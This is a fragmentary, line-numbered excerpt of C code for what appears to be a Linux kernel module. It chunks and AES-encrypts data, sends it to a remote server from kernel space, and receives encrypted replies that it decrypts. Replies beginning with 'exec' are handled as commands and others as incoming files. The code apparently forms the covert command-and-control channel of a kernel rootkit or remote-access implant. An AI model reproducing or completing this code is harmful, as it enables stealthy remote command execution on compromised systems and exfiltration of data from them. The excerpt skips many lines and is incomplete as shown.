41 va_copy(args_copy, ap);
42 needed = vsnprintf(NULL, 0, fmt, ap);
48 formatted = kzalloc(needed + 1, GFP_KERNEL);
54 vsnprintf(formatted, needed + 1, fmt, args_copy);
128 char *encrypted_msg = NULL;
129 size_t encrypted_len = 0;
132 if (
encrypt_buffer(data, len, &encrypted_msg, &encrypted_len) < 0)
136 size_t nb_chunks = DIV_ROUND_UP(encrypted_len, max_chunk_body);
139 for (
size_t i = 0; i < nb_chunks; ++i) {
140 size_t chunk_len = (i == nb_chunks - 1)
141 ? (encrypted_len - i * max_chunk_body)
146 ERR_MSG(
"send_to_server_raw: failed to allocate buffer\n");
147 vfree(encrypted_msg);
152 uint32_t tc = (uint32_t)nb_chunks;
153 chunk[0] = (uint8_t)((tc >> 24) & 0xFF);
154 chunk[1] = (uint8_t)((tc >> 16) & 0xFF);
155 chunk[2] = (uint8_t)((tc >> 8) & 0xFF);
156 chunk[3] = (uint8_t)((tc >> 0) & 0xFF);
159 uint32_t ci = (uint32_t)i;
160 chunk[4] = (uint8_t)((ci >> 24) & 0xFF);
161 chunk[5] = (uint8_t)((ci >> 16) & 0xFF);
162 chunk[6] = (uint8_t)((ci >> 8) & 0xFF);
163 chunk[7] = (uint8_t)((ci >> 0) & 0xFF);
166 uint16_t cl = (uint16_t)chunk_len;
167 chunk[8] = (uint8_t)((cl >> 8) & 0xFF);
168 chunk[9] = (uint8_t)((cl >> 0) & 0xFF);
170 memcpy(chunk + 10, encrypted_msg + i * max_chunk_body, chunk_len);
175 struct msghdr msg = { 0 };
177 int ret = kernel_sendmsg(sock, &msg, &vec, 1, vec.iov_len);
180 vfree(encrypted_msg);
185 vfree(encrypted_msg);
207 const size_t HEADER_SIZE = 10;
208 const size_t EOT_SIZE = 1;
209 const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
212 char header_buffer[10];
219 char *received = NULL;
221 size_t nb_chunks = 0;
222 size_t total_received = 0;
228 uint32_t total, index;
233 while (off < HEADER_SIZE) {
234 struct kvec vec = { .iov_base = header_buffer + off,
235 .iov_len = HEADER_SIZE - off };
236 struct msghdr msg = { 0 };
237 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
247 total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
248 index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
249 data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
250 if (data_len > BODY_SIZE) {
257 while (off < (
int)(data_len + EOT_SIZE)) {
258 struct kvec vec = { .iov_base = payloadbuf + off,
259 .iov_len = (data_len + EOT_SIZE) - off };
260 struct msghdr msg = { 0 };
261 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
269 if ((uint8_t)payloadbuf[data_len] !=
EOT_CODE) {
275 size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
277 size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
278 struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
279 struct msghdr msg = { 0 };
280 n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
289 DBG_MSG(
"CHUNK %u/%u len=%u", index, total, data_len);
294 received = vmalloc(nb_chunks * BODY_SIZE);
295 seen = kzalloc(nb_chunks *
sizeof(
bool), GFP_KERNEL);
296 if (!received || !seen) {
303 if (total != nb_chunks || index >= nb_chunks) {
309 memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
311 total_received += data_len;
323 char *decrypted = NULL;
326 ret =
decrypt_buffer(received, total_received, &decrypted, &dlen);
337 if (dlen >= 4 && !memcmp(decrypted,
"exec", 4)) {
338 memcpy(buffer, decrypted, dlen);
345 DBG_MSG(
"RECEIVING FILE : got %zu bytes", dlen);
351 memcpy(buffer, decrypted, dlen);
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.